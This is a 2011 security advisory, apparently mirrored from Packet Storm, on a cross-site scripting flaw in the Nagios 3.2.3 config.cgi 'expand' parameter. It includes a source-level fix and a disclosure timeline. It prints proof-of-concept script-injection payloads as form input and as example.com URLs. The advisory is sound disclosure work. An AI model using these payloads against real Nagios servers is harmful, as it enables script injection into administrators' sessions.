Nagios 3.2.3 Cross Site Scripting

🗓️ 01 Jun 2011 00:00:00Reported by Stefan SchurtzType

packetstorm🔗 packetstormsecurity.com👁 21 Views

Cross-Site Scripting vulnerability in Nagios 3.2.3. No input validation for "expand" in config.c(gi). Solution in config.c

`Advisory: Cross-Site Scripting vulnerability in Nagios  
Advisory ID: SSCHADV2011-006  
Author: Stefan Schurtz  
Affected Software: Successfully tested on: nagios 3.2.3  
Vendor URL: http://www.nagios.org  
Vendor Status: informed  
CVE-ID: -  
  
==========================  
Vulnerability Description:  
==========================  
  
This is a Cross-Site Scripting vulnerability  
  
==================  
Technical Details:  
==================  
  
No input validation for "expand" in config.c(gi)  
  
View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script>  
View Config -> Command Expansion -> To expand -> <body onload=alert(666)>  
  
or   
  
http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script>  
http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)>  
  
=========  
Solution:  
=========  
  
in config.c   
  
< printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",command_args[0]);  
  
> printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",escape_string(command_args[0]));  
  
====================  
Disclosure Timeline:  
====================  
  
01-Jun-2011 - informed developers  
01-Jun-2011 - Release date of this security advisory  
01-Jun-2011 - post on BugTraq and Full-disclosure  
  
========  
Credits:  
========  
  
Vulnerability found and advisory written by Stefan Schurtz.  
  
===========  
References:  
===========  
  
http://www.nagios.org   
http://tracker.nagios.org/view.php?id=224  
http://www.rul3z.de/advisories/SSCHADV2011-006.txt  
`

01 Jun 2011 00:00Current

7.4High risk

Vulners AI Score7.4